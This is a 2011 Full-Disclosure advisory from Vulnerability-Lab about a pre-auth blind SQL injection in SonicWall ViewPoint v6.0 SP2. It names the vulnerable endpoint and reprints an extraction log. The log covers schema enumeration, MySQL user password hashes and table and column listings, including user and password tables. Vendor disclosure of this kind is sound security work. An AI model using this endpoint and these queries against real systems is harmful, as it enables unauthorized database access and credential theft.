[Full-disclosure] SonicWall Viewpoint v6.0 SP2 - SQL Injection Vulnerability



Title:
======
SonicWall Viewpoint v6.0 SP2 - SQL Injection Vulnerability


Date:
=====
2011-10-01


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=196


VL-ID:
=====
196


Introduction:
=============
SonicWALL® ViewPoint™ ist ein benutzerfreundliches webbasiertes Reporting-Tool, das die Sicherheitsprodukte und -dienste
von SonicWALL vollständig unterstützt und erweitert. Es kann flexibel als Software oder virtuelle Appliance implementiert
werden. Umfassende Reporting-Funktionen geben Administratoren einen unmittelbaren Einblick in den Zustand, die Leistung und
die Sicherheit ihres Netzwerks. Mithilfe der anpassbaren Übersichtsanzeige und einer Vielzahl von Verlaufsberichten unterstützt
SonicWALL ViewPoint Unternehmen aller Größen dabei, Netzwerknutzung und Sicherheitsaktivitäten zu überwachen und die
Webnutzung anzuzeigen.

(Copy of the Vendor Homepage: http://www.sonicwall.com/de/Centralized_Management_and_Reporting.html)


Abstract:
=========
Vulnerability-Lab Team discovered a remote exploitable blind sql injection vulnerability on Sonicwalls Viewpoint v6.0 SP2.


Report-Timeline:
================
2011-06-16: Vendor Notification
2011-09-21: Vendor Response/Feedback
2011-10-01: Vendor Fix/Patch
2011-10-02: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
SonicWall
Product: ViewPoint Application v6.0 SP2


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A remote sql injection vulnerability is detected on the famous Sonicwall Viewpoint Application v6.x.
The vulnerability allows an attacker to inject/execute (pre-auth) own sql statements. The successfully
exploitation of the vulnerability can lead to unauthorized database access.

Notice: The file is not just located on viewpoint ;)


Vulnerable Modules(SQL):

[+] Schedule Reports (pre auth)

Pictures:

../sql1.png
../sql2.png

Example URL:
https://gms.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=



--- SQL Log ---

select @@version = 5.0.83-enterprise-nt
select user() = vpuser@localhost
select @@datadir = C://GMSVP//MySQL//data//
SELECT count(schema_name) FROM information_schema.schemata = 43
SELECT schema_name FROM information_schema.schemata limit 0,1 = information_schema
SELECT schema_name FROM information_schema.schemata limit 1,1 = mysql
SELECT schema_name FROM information_schema.schemata limit 2,1 = rawsyslogdb_20090905
SELECT schema_name FROM information_schema.schemata limit 3,1 = rawsyslogdb_20090906
SELECT schema_name FROM information_schema.schemata limit 4,1 = rawsyslogdb_20090907
SELECT schema_name FROM information_schema.schemata limit 10,1 = rawsyslogdb_20100223
SELECT schema_name FROM information_schema.schemata limit 20,1 = rawsyslogdb_20100305
SELECT schema_name FROM information_schema.schemata limit 30,1 = rawsyslogdb_20100315
SELECT schema_name FROM information_schema.schemata limit 37,1 = rawsyslogdb_20100322
SELECT schema_name FROM information_schema.schemata limit 39,1 = rawsyslogdb_20100324
SELECT schema_name FROM information_schema.schemata limit 40,1 = sgmsdb
SELECT schema_name FROM information_schema.schemata limit 41,1 = sgmsdb_archive
SELECT schema_name FROM information_schema.schemata limit 42,1 = test

+----------------------+
| Databases |
+----------------------+
| mysql |
| rawsyslogdb_20090905 |
| rawsyslogdb_20090906 |
| rawsyslogdb_20090907 |
| rawsyslogdb_20090926 |
| rawsyslogdb_20090927 |
| rawsyslogdb_20090928 |
| rawsyslogdb_20090929 |
| rawsyslogdb_20090930 |
| rawsyslogdb_20100225 |
| rawsyslogdb_20100226 |
| rawsyslogdb_20100227 |
| rawsyslogdb_20100228 |
| rawsyslogdb_20100301 |
| rawsyslogdb_20100302 |
| rawsyslogdb_20100303 |
| rawsyslogdb_20100304 |
| rawsyslogdb_20100305 |
| rawsyslogdb_20100306 |
| rawsyslogdb_20100307 |
| rawsyslogdb_20100308 |
| rawsyslogdb_20100309 |
| rawsyslogdb_20100310 |
| rawsyslogdb_20100311 |
| rawsyslogdb_20100312 |
| rawsyslogdb_20100313 |
| rawsyslogdb_20100314 |
| rawsyslogdb_20100315 |
| rawsyslogdb_20100316 |
| rawsyslogdb_20100317 |
| rawsyslogdb_20100318 |
| rawsyslogdb_20100319 |
| rawsyslogdb_20100320 |
| rawsyslogdb_20100321 |
| rawsyslogdb_20100322 |
| rawsyslogdb_20100323 |
| rawsyslogdb_20100324 |
| rawsyslogdb_20100325 |
| rawsyslogdb_20100326 |
| sgmsdb |
| sgmsdb_archive |
| test |
+----------------------+



SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 0,1 = localhost:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98
SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 1,1 = 127.0.0.1:root:
SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 2,1 = %:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98
SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 3,1 = localhost:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0
SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 4,1 = %:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0




Database: sgmsdb
[324 tables]
+--------------------------------+
| ac_categories |
| ac_desc |
| ac_enum |
| ac_models |
| ac_nodes |
| activation_codes |
| alert_ui_details |
| alert_ui_screens |
| alertcontents |
| alertdstschedmappings |
| alerts |
| alerttypes |
| appliances |
| archive_tables |
| as_categories |
| aspyware_signatures |
| auth_servers |
| bkp_reporting_dependent_tables |
| central_gateway |
| csm_categories |
| csm_default_appfilter_ports |
| csm_signatures |
| dao_archive_tables |
| dash_page |
| dash_page_comp |
| default_rss_feeds |
| diag_snapshots |
| domains |
| ec_rule_args |
| ec_rule_argvals |
| ec_rule_groups |
| ec_rule_stmts |
| ec_rules |
| firmware_versions |
| firmwareimagetbl |
| fw_dea_unit_data |
| fw_dea_unit_keys |
| fwdyndata |
| gav_signatures |
| gmsvpinstances |
| hm_appliance_config |
| hm_httpclient_config |
| hm_record |
| hm_recording |
| hm_service_config |
| hm_template |
| impl_info |
| ips_categories |
| log_custom_settings_tbl |
| logs |
| logs_msg_autosuggest |
| mgmt_dea_services |
| mgmt_dea_xfrs |
| mgmt_feature |
| mgmt_fw_filter |
| mgmt_fw_filter_data |
| mgmt_fw_filter_perms |
| mgmt_inh_dep_screens_view |
| mgmt_misc_scrn_params |
| mon_emailalertschedule |
| mon_tunnel_status |
| monactions |
| moncategories |
| mondevices |
| monitors |
| monpings |
| monseverity |
| monsnmpacquiredata |
| monsnmpdata |
| monsnmpinfo |
| monsnmpmibinfo |
| monsnmprealtimemonitorelements |
| monsnmprealtimemonitors |
| monsnmprtmtemplateelements |
| monsnmprtmtemplates |
| monthresholdelements |
| monthresholds |
| non_allowed_devices |
| olh_groupname |
| params |
| params1 |
| params2 |
| params3 |
| params_group_info |
| params_info |
| perf_db_backup |
| perf_summarizer_thread |
| perf_syslog_collector |
| perf_syslog_files |
| perf_viewpoint_summarizer |
| pkiadmin |
| pkiusercert |
| rc_cert |
| rc_sa |
| rc_snmp |
| rc_syslog |
| report_module_perf_metrics |
| schedulegroups |
| scheduleripc |
| schedulers |
| schedules |
| schedulesmapping |
| screens |
| scrn_perms |
| settings |
| severities |
| sgms_config |
| sgms_sessions |
| sgms_views |
| signature_status |
| signatureimagetbl |
| signatures |
| sonicpoint_country_tbl |
| sonicpoint_domain_tbl |
| static_devices |
| sub_policy |
| summarizer_modules |
| summarizers |
| sw_0017c51036b8 |
| sw_addr_groups |
| sw_addr_objects |
| sw_allowed_urls |
| sw_as_product_settings |
| sw_as_signature_settings |
| sw_aspywareexcludelist |
| sw_av_ext |
| sw_av_ips |
| sw_cert_blacklist |
| sw_cert_whitelist |
| sw_certs |
| sw_cfacategories |
| sw_cfacustomcategories |
| sw_cfaexcluderanges |
| sw_cfafiletypes |
| sw_cfakeywords |
| sw_cfapolicies |
| sw_cfaurls |
| sw_cfs_enterprise |
| sw_cfsexcluderanges |
| sw_consent_ip_addresses |
| sw_csm_appfilter_ports |
| sw_ddns |
| sw_dhcp_dynamic_ranges |
| sw_dhcp_grp_members |
| sw_dhcp_opt_grps |
| sw_dhcp_options |
| sw_dhcp_static_ranges |
| sw_dmz |
| sw_forbidden_urls |
| sw_fw_access_rules |
| sw_gavexcluderanges |
| sw_grp_schedules |
| sw_guest_profiles |
| sw_ha_full_monitoring |
| sw_ha_monitoring |
| sw_idpexcluderanges |
| sw_ids_aps |
| sw_ind_alert_data |
| sw_ind_history |
| sw_ind_hm_params |
| sw_ind_ipssiglist |
| sw_ind_migration1 |
| sw_ind_migration2 |
| sw_ind_params4 |
| sw_ind_svportalsettings |
| sw_info |
| sw_interfaces |
| sw_intranet |
| sw_ip_helper_apps |
| sw_iphelper |
| sw_ips_categories |
| sw_knownservices |
| sw_knownservices_info |
| sw_lans |
| sw_lic_nodes |
| sw_local_groups |
| sw_local_users |
| sw_local_usr_grp_obj_relation |
| sw_meta_cfs_categories |
| sw_monitor_objects |
| sw_nat_objects |
| sw_ntp_servers |
| sw_one_to_one_nat |
| sw_profiles |
| sw_qos_mapping |
| sw_rbl_domains |
| sw_rip |
| sw_route_objects |
| sw_routes |
| sw_rules |
| sw_sas |
| sw_schedules |
| sw_service_groups |
| sw_service_objects |
| sw_services |
| sw_signatures |
| sw_sonicpoints |
| sw_sonicpoints_n |
| sw_sso_auth_agents |
| sw_static_arp |
| sw_switch_ports |
| sw_syslog_server |
| sw_trusted_urls |
| sw_ulahttpurls |
| sw_url_keywords |
| sw_user_group_trees |
| sw_user_trees |
| sw_useraddressranges |
| sw_users |
| sw_userservices |
| sw_vap |
| sw_vap_groups |
| sw_vpnaddressranges |
| sw_vpnservices |
| sw_wepclient |
| sw_wgs_ipdeny |
| sw_wgs_keywords |
| sw_wgs_profiles |
| sw_wifiservices |
| sw_wirelessguest |
| sw_wirelessmac |
| sw_zones |
| tasks |
| thresholdelements |
| thresholds |
| translation_tbl |
| trapmgrs |
| unit_level_app_settings |
| unit_perms |
| unituptimestats |
| used_accodes |
| userpasswords |
| users |
| users_motd |
| version |
| vp_alert_data |
| vp_appl_dts |
| vp_appl_summarizer_settings |
| vp_by_category_summary |
| vp_by_policy_summary |
| vp_by_site_detail |
| vp_by_site_summary |
| vp_categories |
| vp_connection_details |
| vp_connection_events |
| vp_cstm_configs |
| vp_cstm_fields |
| vp_cstm_rules |
| vp_cstm_templates |
| vp_cstm_templates_fields |
| vp_cstm_templates_rules |
| vp_dest_hosts |
| vp_dn_dest_library |
| vp_dn_src_library |
| vp_email_details |
| vp_email_logos |
| vp_email_profiles |
| vp_email_receivers |
| vp_email_screens |
| vp_email_summary |
| vp_firewall_reports |
| vp_firewall_totals |
| vp_firewalls |
| vp_host_summary |
| vp_hosts_for_auto_suggest |
| vp_hourly_summary |
| vp_login_summary |
| vp_report_dates |
| vp_reports |
| vp_service_details |
| vp_service_summary |
| vp_service_type |
| vp_services |
| vp_site_detail |
| vp_src_hosts |
| vp_top_detail |
| vp_top_report_summary |
| vp_top_summary |
| vp_total_types |
| vp_unit_summarizer_settings |
| vp_users |
| vp_websites_filter |
| vp_webusers_filter |
| vpappfw_connection_policies |
| vpappfw_daily_totals |
| vpappfw_events |
| vpappfw_hourly_totals |
| vpappfw_policies |
| vpcdp_agent_daily_status |
| vpcdp_agents |
| vpcdp_appl_daily_status |
| vpcdp_appl_dts |
| vpcdp_appliances |
| vpcdp_daily_details |
| vpcdp_daily_summary |
| vpcdp_filetypes |
| vpcdp_hourly_summary |
| vpecm_agent_service |
| vpecm_agents |
| vpecm_appl_dts |
| vpecm_daily_totals |
| vpecm_hazards |
| vpecm_service_types |
| vpecm_summary |
| vpecm_top_hazards |
| vpssl_appl_dts |
| vpssl_daily_performance |
| vpssl_daily_totals |
| vpssl_details |
| vpssl_dst_hosts |
| vpssl_events |
| vpssl_hourly_performance |
| vpssl_hourly_totals |
| vpssl_login_events |
| vpssl_login_types |
| vpssl_resources |
| vpssl_src_hosts |
| vpssl_total_types |
| vpssl_users |
| wireless_country_list |
| ws_configs |
| ws_distributed_appliances |
| ws_distributed_instances |
| ws_services |
+--------------------------------+

Database: sgmsdb
Table: vp_users
[5 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| domain | varchar(250) |
| id | bigint(20) |
| last_updated | timestamp |
| last_updatedby | varchar(35) |
| name | varchar(250) |
+----------------+--------------+


Database: sgmsdb
Table: userpasswords
[5 columns]
+----------------+-------------+
| Column | Type |
+----------------+-------------+
| domainID | varchar(32) |
| ID | varchar(64) |
| last_updated | timestamp |
| LAST_UPDATEDBY | char(32) |
| PASSWORD | varchar(64) |
+----------------+-------------+

Database: sgmsdb
Table: users
[74 columns]
+--------------------------------+--------------+
| Column | Type |
+--------------------------------+--------------+
| active | varchar(2) |
| activePage | varchar(32) |
| activeTill | datetime |
| APPSELSHOW | varchar(1) |
| AUDIO | varchar(3) |
| authServerID | varchar(32) |
| autoDelete | varchar(2) |
| COMMENTS | varchar(255) |
| comments_enabled | smallint(5) |
| controls | varchar(254) |
| CREATION_DATE | timestamp |
| dashboardBarAutoHideStatus | varchar(32) |
| datePwdChanged | datetime |
| DISABLED | smallint(5) |
| DOCKINGVALUE | varchar(3) |
| domainID | varchar(32) |
| doNotShowSMTPParamsWarnilg | |
| dst_interface | varchar(10) |
| EMAIL1 | varchar(64) |
| EMAIL2 | varchar(64) |
| enable_session_popup | smallint(5) |
| FAX | varchar(24) |
| FNAME | varchar(32) |
| hmRecordBarAutoHideStatus | smallint(1) |
| ID | varchar(32) |
| IDLE_TIMEOUT | smallint(5) |
| issuperadmin | smallint(1) |
| itemsPerPage | varchar(3) |
| LAST_LOGIN | datetime |
| last_updated | datetime |
| last_updatedby | char(32) |
| liveMonitorAutoScrollStatus | varchar(32) |
| liveMonitorBarAutoHideStatus | varchar(32) |
| liveMonitorRefreshInterval | varchar(32) |
| LNAME | varchar(32) |
| lockoutCounter | varchar(2) |
| MNAME | varchar(32) |
| monEnableAutoRefresh | varchar(4) |
| monMinDashSeverity | varchar(32) |
| monUIAutoRefreshInterval | varchar(16) |
| monUIStatusSelection | varchar(64) |
| monUITableColCount | varchar(24) |
| monUITableColor | varchar(24) |
| monUITableRowHeight | varchar(24) |
| monViewType | varchar(4) |
| MSGS_PER_SCREEN | smallint(5) |
| needPwdChange | varchar(2) |
| PAGER | varchar(24) |
| PASSWORD | char(32) |
| PHONE | varchar(24) |
| REPORT_BIDIRECTIONAL | smallint(5) |
| REPORT_END_HOUR | varchar(8) |
| REPORT_NUM_ENTRIES_PER_ITEM | varchar(8) |
| REPORT_NUM_ITEMS | varchar(8) |
| REPORT_NUM_SITES | varchar(8) |
| REPORT_NUM_USERS | varchar(8) |
| REPORT_ROWS_PER_SCREEN | smallint(5) |
| REPORT_SITES_BY_USERS | varchar(8) |
| REPORT_SITES_LIST | varchar(256) |
| REPORT_START_HOUR | varchar(8) |
| REPORT_USERS_LIST | varchar(256) |
| REPORT_USERS_WHOLE_NAMEIP_SRCH | smallint(5) |
| REPORT_VIEW_TYPE | smallint(5) |
| SCHEDS_PER_SCREEN | smallint(5) |
| scheduleid | varchar(32) |
| screenDefaultChartTypes | varchar(50) |
| smtpParamWarningLastShowTime | datetime |
| src_interface | varchar(10) |
| STOCK | smallint(5) |
| TASKS_PER_SCREEN | smallint(5) |
| USER_TYPE_ID | varchar(32) |
| usertypeType | varchar(2) |
| VIEW_ID | varchar(32) |
| vp_controls | varchar(254) |
+--------------------------------+--------------+



Solution:
=========
The hotfix is available today(2011-10-01) to customers for download from our registration site (www.mysonicwall.com)

HOTFIX ID: 104767


Risk:
=====
The security risk of the sql injection vulnerability is estimated as critical because of the pre-auth remote attack technique.


Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve) & Pim J.F. Campers (X4lt)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2011|Vulnerability-Lab




--
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx or support@xxxxxxxxxxxxxxxxxxxxx


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • SonicWall Viewpoint v6.0 SP2 - SQL Injection Vulnerability
    ... Vulnerability-Lab Team discovered a remote exploitable blind sql injection vulnerability on Sonicwalls Viewpoint v6.0 SP2. ... A remote sql injection vulnerability is detected on the famous Sonicwall Viewpoint Application v6.x. ... exploitation of the vulnerability can lead to unauthorized database access. ... SELECT schema_name FROM information_schema.schemata limit 40,1 = sgmsdb ...
    (Bugtraq)
  • Re: any sql injection bypass on filters?
    ... SQL can't be assumed as sql injection vulnerability. ... If you can get the database server to throw an error, ... Information Assurance Certification Review Board ...
    (Pen-Test)
  • Re: joomla com_football Components Sql Injection vulnerability
    ... joomla com_football Components Sql Injection vulnerability ... # Author: Iranian Exploit DataBase ... # Discovered By: IeDb ...
    (Bugtraq)